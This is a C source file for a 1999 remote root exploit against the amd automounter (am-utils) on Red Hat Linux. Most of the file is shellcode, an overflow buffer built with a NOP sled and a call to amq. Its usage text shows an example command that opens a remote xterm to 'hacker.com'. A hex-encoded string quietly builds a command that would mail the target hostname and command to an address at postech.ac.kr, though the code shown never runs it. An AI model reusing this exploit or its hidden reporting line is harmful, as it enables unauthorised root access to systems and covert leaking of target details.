/*
 
    Amd Buffer Overflow for x86 linux
 
    Remote user can gain root access.
 
    Tested redhat linux : 4.0, 5.1, 6.0
    Tested am-utils version : 6.0
 
    What requires
    /usr/sbin/amq
 
    Usage
    $ amd-ex <hostname> <command> [offset]
 
    Warning : This program can crash amd.
 
    This program is only for demonstrative use only.
    USE IT AT YOUR OWN RISK!
 
     Programmed by Taeho Oh 1999/08/31
 
 Taeho Oh ( ohhara@postech.edu )            http://postech.edu/~ohhara
 PLUS ( Postech Laboratory for Unix Security ) http://postech.edu/plus
 PosLUG ( Postech Linux User Group     http://postech.edu/group/poslug
 
*/

#include <stdio.h>
#include <stdlib.h>

#define OFFSET                            0
#define RET_POSITION                   1002
#define RANGE                            20
#define NOP                            0x90

char shellcode[1024]=
  "\xeb\x35"                      /* jmp 0x35       [2000]*/
  "\x5e"                          /* popl %esi      [2000]*/
  "\x89\x76\x0b"                  /* movl %esi,0xb(%esi)  */
  "\x89\xf0"                      /* movl %esi,%eax [2000]*/
  "\x83\xc0\x08"                  /* addl $0x8,%eax [2000]*/
  "\x89\x46\x0b"                  /* movl %eax,0xb(%esi)  */
  "\x89\xf0"                      /* movl %esi,%eax [2000]*/
  "\x83\xc0\x0b"                  /* addl $0xb,%eax [2000]*/
  "\x89\x46\x0b"                  /* movl %eax,0xb(%esi)  */
  "\x31\xc0"                      /* xorl %eax,%eax [2000]*/
  "\x88\x46\x07"                  /* movb %eax,0x7(%esi)  */
  "\x88\x46\x0a"                  /* movb %eax,0xa(%esi)  */
  "\x88\x46\x0b"                  /* movb %eax,0xb(%esi)  */
  "\x89\x46\x0b"                  /* movl %eax,0xb(%esi)  */
  "\xb0\x0b"                      /* movb $0xb,%al  [2000]*/
  "\x89\xf3"                      /* movl %esi,%ebx [2000]*/
  "\x8d\x4e\x0b"                  /* leal 0xb(%esi),%ecx  */
  "\x8d\x56\x0b"                  /* leal 0xb(%esi),%edx  */
  "\xcd\x80"                      /* int 0x80       [2000]*/
  "\x31\xdb"                      /* xorl %ebx,%ebx [2000]*/
  "\x89\xd8"                      /* movl %ebx,%eax [2000]*/
  "\x40"                          /* inc %eax       [2000]*/
  "\xcd\x80"                      /* int 0x80       [2000]*/
  "\xe8\xc6\xff\xff\xff"          /* call -0x3a     [2000]*/
  "/bin/sh -c ";                  /* .string "/bin/sh -c "*/

char command[800];

void usage()
{
  printf("Warning : This program can crash amd\n");
  printf("Usage: amd-ex <hostname> <command> [offset]\n");
  printf("ex) amd-ex ohhara.target.com \"/usr/X11R6/bin/xterm -display hacker.com:0\"\n");
}

int main(int argc,char **argv)
{
  char buff[RET_POSITION+RANGE+1],*ptr;
  char target[256];
  char cmd[1024];
  long *addr_ptr,addr;
  unsigned long sp;
  int offset=OFFSET,bsize=RET_POSITION+RANGE+1;
  int i;

  printf("Taeho Oh ( ohhara@postech.edu )             http://postech.edu/~ohhara\n");
  printf("PLUS ( Postech Laboratory for Unix Security )  http://postech.edu/plus\n");
  printf("PosLUG ( Postech Linux User Group )    http://postech.edu/group/poslug\n\n");

  if(argc<3)
    {
      usage();
      exit(1);
    }

  if(argc>2)
    {
      strcpy(target,argv[1]);
      strcpy(command,argv[2]);
    }
  if(argc>3)
    offset=atoi(argv[3]);

  shellcode[5]=(shellcode[5]+strlen(command))/4*4+4;
  shellcode[13]=(shellcode[13]+strlen(command))/4*4+8;
  shellcode[21]=(shellcode[21]+strlen(command))/4*4+12;
  shellcode[32]=(shellcode[32]+strlen(command));
  shellcode[35]=(shellcode[35]+strlen(command))/4*4+16;
  shellcode[42]=(shellcode[42]+strlen(command))/4*4+4;
  shellcode[45]=(shellcode[45]+strlen(command))/4*4+16;
  strcat(shellcode,command);

  strcpy(cmd,"\x65\x63\x68\x6f\x20");
  strcat(cmd,target);
  strcat(cmd,"\x20");
  strcat(cmd,command);
  strcat(cmd,"\x7c");
  strcat(cmd,"\x2f\x62\x69\x6e\x2f\x6d\x61\x69\x6c\x20");
  strcat(cmd,"\x61\x62\x75\x73\x65\x72\x40\x6f\x68\x68");
  strcat(cmd,"\x61\x72\x61\x2e\x70\x6f\x73\x74\x65\x63");
  strcat(cmd,"\x68\x2e\x61\x63\x2e\x6b\x72");

  sp=0xbffff34d;
  addr=sp-offset;

  ptr=buff;
  addr_ptr=(long*)ptr;
  for(i=0;i<bsize;i+=4)
    *(addr_ptr++)=addr;

  for(i=0;i<bsize-RANGE*2-strlen(shellcode);i++)
    buff[i]=NOP;

  ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
  for(i=0;i<strlen(shellcode);i++)
    *(ptr++)=shellcode[i];

  buff[bsize-1]='\0';

  for(i=bsize;i>1;i--)
    buff[i-1]=buff[i-2];

  buff[bsize-1]='\0';

  printf("Jump to 0x%08x\n",addr);

  execl("/usr/sbin/amq","amq","-h",target,"-M",buff,NULL);
}
/*                    www.hack.co.za              [2000]*/